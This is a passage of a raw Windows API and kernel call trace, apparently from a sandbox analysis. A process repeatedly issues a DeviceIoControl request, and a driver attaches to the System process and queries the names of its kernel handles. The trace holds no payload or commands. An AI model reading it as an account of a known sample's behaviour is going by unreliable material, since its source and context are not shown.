ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034ff3a0, HandleInformation=0x0) returned 0x0 [0130.054] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.054] PsReleaseProcessExitSynchronization () returned 0x2 [0130.054] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.054] ObQueryNameString (in: Object=0xfffffa80034ff3a0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.054] ObfDereferenceObject (Object=0xfffffa80034ff3a0) returned 0x2 [0130.054] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.054] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.054] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.054] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.055] PsAcquireProcessExitSynchronization () returned 0x0 [0130.055] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.055] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0130.055] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.055] PsReleaseProcessExitSynchronization () returned 0x2 [0130.055] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.055] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.055] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0130.055] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.055] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.055] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.055] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.055] PsAcquireProcessExitSynchronization () returned 0x0 [0130.055] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.055] ObReferenceObjectByHandle (in: Handle=0xffffffff80000644, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002149bd0, HandleInformation=0x0) returned 0x0 [0130.055] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.055] PsReleaseProcessExitSynchronization () returned 0x2 [0130.055] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.055] ObQueryNameString (in: Object=0xfffffa8002149bd0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.055] ObfDereferenceObject (Object=0xfffffa8002149bd0) returned 0x2 [0130.055] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.055] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.055] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.055] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.055] PsAcquireProcessExitSynchronization () returned 0x0 [0130.055] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.055] ObReferenceObjectByHandle (in: Handle=0xffffffff80000648, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034279a0, HandleInformation=0x0) returned 0x0 [0130.055] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.056] PsReleaseProcessExitSynchronization () returned 0x2 [0130.056] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.056] ObQueryNameString (in: Object=0xfffffa80034279a0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.056] ObfDereferenceObject (Object=0xfffffa80034279a0) returned 0x2 [0130.056] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.056] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.056] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.056] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.056] PsAcquireProcessExitSynchronization () returned 0x0 [0130.056] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.056] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0130.056] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.056] PsReleaseProcessExitSynchronization () returned 0x2 [0130.056] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.056] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.056] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0130.056] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.056] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.056] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.056] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.056] PsAcquireProcessExitSynchronization () returned 0x0 [0130.056] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.056] ObReferenceObjectByHandle (in: Handle=0xffffffff80000658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002502050, HandleInformation=0x0) returned 0x0 [0130.056] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.056] PsReleaseProcessExitSynchronization () returned 0x2 [0130.056] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.056] ObQueryNameString (in: Object=0xfffffa8002502050, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.057] ObfDereferenceObject (Object=0xfffffa8002502050) returned 0x2 [0130.057] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.057] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.057] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.057] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.057] PsAcquireProcessExitSynchronization () returned 0x0 [0130.057] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.057] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0130.057] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.057] PsReleaseProcessExitSynchronization () returned 0x2 [0130.057] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.057] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.057] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0130.057] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.057] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.057] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.057] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.057] PsAcquireProcessExitSynchronization () returned 0x0 [0130.057] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.057] ObReferenceObjectByHandle (in: Handle=0xffffffff8000066c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800289e960, HandleInformation=0x0) returned 0x0 [0130.057] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.057] PsReleaseProcessExitSynchronization () returned 0x2 [0130.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.105] ObQueryNameString (in: Object=0xfffffa800289e960, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.105] ObfDereferenceObject (Object=0xfffffa800289e960) returned 0x2 [0130.105] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.105] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.105] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.105] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.105] PsAcquireProcessExitSynchronization () returned 0x0 [0130.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.105] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0130.105] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.105] PsReleaseProcessExitSynchronization () returned 0x2 [0130.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.105] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.105] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0130.106] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.106] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.106] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.106] PsAcquireProcessExitSynchronization () returned 0x0 [0130.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003967f20, HandleInformation=0x0) returned 0x0 [0130.106] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.106] PsReleaseProcessExitSynchronization () returned 0x2 [0130.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.106] ObQueryNameString (in: Object=0xfffffa8003967f20, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.106] ObfDereferenceObject (Object=0xfffffa8003967f20) returned 0x2 [0130.106] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.106] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.106] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0130.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.106] PsAcquireProcessExitSynchronization () returned 0x0 [0130.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.106] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0130.106] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.106] PsReleaseProcessExitSynchronization () returned 0x2 [0130.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.106] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.106] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0130.106] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.106] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.106] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.106] PsAcquireProcessExitSynchronization () returned 0x0 [0130.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.107] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0130.107] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.107] PsReleaseProcessExitSynchronization () returned 0x2 [0130.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.107] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.107] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0130.107] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.107] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.107] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.107] PsAcquireProcessExitSynchronization () returned 0x0 [0130.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.107] ObReferenceObjectByHandle (in: Handle=0xffffffff80000684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002092430, HandleInformation=0x0) returned 0x0 [0130.107] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.107] PsReleaseProcessExitSynchronization () returned 0x2 [0130.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.107] ObQueryNameString (in: Object=0xfffffa8002092430, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.107] ObfDereferenceObject (Object=0xfffffa8002092430) returned 0x2 [0130.107] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.107] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.107] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.107] PsAcquireProcessExitSynchronization () returned 0x0 [0130.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.107] ObReferenceObjectByHandle (in: Handle=0xffffffff80000688, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214e050, HandleInformation=0x0) returned 0x0 [0130.107] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.107] PsReleaseProcessExitSynchronization () returned 0x2 [0130.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.107] ObQueryNameString (in: Object=0xfffffa800214e050, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.107] ObfDereferenceObject (Object=0xfffffa800214e050) returned 0x2 [0130.107] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.107] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.108] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.108] PsAcquireProcessExitSynchronization () returned 0x0 [0130.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.108] ObReferenceObjectByHandle (in: Handle=0xffffffff8000068c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037b03a0, HandleInformation=0x0) returned 0x0 [0130.108] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.108] PsReleaseProcessExitSynchronization () returned 0x2 [0130.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.108] ObQueryNameString (in: Object=0xfffffa80037b03a0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.108] ObfDereferenceObject (Object=0xfffffa80037b03a0) returned 0x2 [0130.108] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.108] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.108] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.108] PsAcquireProcessExitSynchronization () returned 0x0 [0130.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.108] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0130.108] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.108] PsReleaseProcessExitSynchronization () returned 0x2 [0130.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.108] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.108] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0130.108] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.108] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: 